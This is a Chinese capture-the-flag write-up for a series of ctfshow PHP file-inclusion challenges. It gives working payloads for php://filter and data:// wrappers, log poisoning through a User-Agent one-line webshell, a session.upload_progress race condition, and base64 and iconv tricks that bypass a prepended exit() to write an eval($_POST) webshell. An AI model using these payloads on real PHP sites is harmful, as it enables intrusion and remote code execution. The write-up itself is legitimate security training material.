ctfshow-文件包含
WEB-78(php://filter)
1 | ?file=php://filter/convert.base64-encode/resource=flag.php |
WEB-79(data://)
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= |
WEB-80~81(日志包含)
在User-Agent:写入一句话木马
1 | GET / HTTP/1.1 |
然后访问nginx日志文件路径?file=/var/log/nginx/access.log
WEB-82~86(session.upload_progress条件竞争)
这道题目利用session.upload_progress进行文件包含和条件竞争
相关文章可以看这篇https://www.freebuf.com/vuls/202819.html
条件:
- php5.4
- session.upload_progress.enabled=on 当我们上传一个文件 php会把此次文件上传的详细信息存储在session中
- session.upload_progress.cleanup = on 上传完毕后 php立即清理对应session文件中的内容
- session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS” php会报告上传进度,对我们有用的是它的值可控
- session.upload_progress.prefix = “upload_progress_” 它和上面的name prefix+name将表示为session中的键名
- session.use_strict_mode=off 这个表示我们对Cookie中的sessionid可控
首先就是没有session_start()我们该怎么创建session文件
session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。
我们在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session。并产生一个键值,这个键值由ini.get("session.upload_progress.prefix")
+由我们构造的session.upload_progress.name
值组成,最后被写入sess_文件里。
但是我们session文件上传后会被立马删除
这里就要利用条件竞争 一边一直发包一边一直去访问 总有一次能访问成功
因此我们所需要做的就是:
- 上传文件 在Cookie=flag
- 请求包中添加:PHP_SESSION_UPLOAD_PROGRESS然后内容设置为我们的恶意代码(会被写入sess_flag文件中 )
- 不断的发包去条件竞争
发包post数据包:
1 | <!DOCTYPE html> |
爆破的两个数据包:
1 | GET /?file=/tmp/sess_flag HTTP/1.1 |
先爆破文件上传 再爆破包含的数据包 但是两个是一起爆破的
WEB-87(exit死亡绕过)
这里面讲的很清楚https://xz.aliyun.com/t/8163#toc-2
1 | file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); |
就是这里<?php die('大佬别秀了');?>
die() 跟exit()函数一样就是脚本运行到这里会退出脚本
也就是说即使我们输入一句话木马 有exit()存在那么永远运行不到我们的木马就会提前退出脚本
这里利用了php://filter/write=convert.base64-decode/resource=1.php
注意这里是写入
将$content
解码 利用php base64_decode函数特性去除死亡exit。
base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过
所以,当$content 包含 时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除,于是剩下的字符就只有phpexit以及我们传入的字符了。由于base64是4个byte一组,再添加一个字符例如添加字符a后,将phpexita当做两组base64进行解码,也就绕过这个死亡exit了。
payload:
get:
php://filter/write=convert.base64-decode/resource=1.php
对其进行两次url全字符编码
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
因为一次解码在浏览器解析 一次解码在题目中
post:
1 | aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg== |
前两个a是用来和phpdieaa组成4个byte 也就是两组 用于base64解码 直接就干掉这个死亡die了 真的太强了
后面的内容是一句话木马base64编码内容
WEB-88(过滤)
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs`没有过滤`: |
这里还要把用来base64补位的==
去掉因为waf
因为==只是用来补位的所以删除不会影响解码正常
WEB-116(Misc)
提一句视频剪辑的不错:)
binwalk分离出源码
1 | ?file=flag.php |
WEB-117(exit死亡绕过)
大致思路和87一样 不过这里waf了base64 换种解码方式就行了
直接偷别人的payload
1 | ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php |
payload由来:
结尾:
文件包含难度还行 keep hacking! 开启下一大陆 php特性 !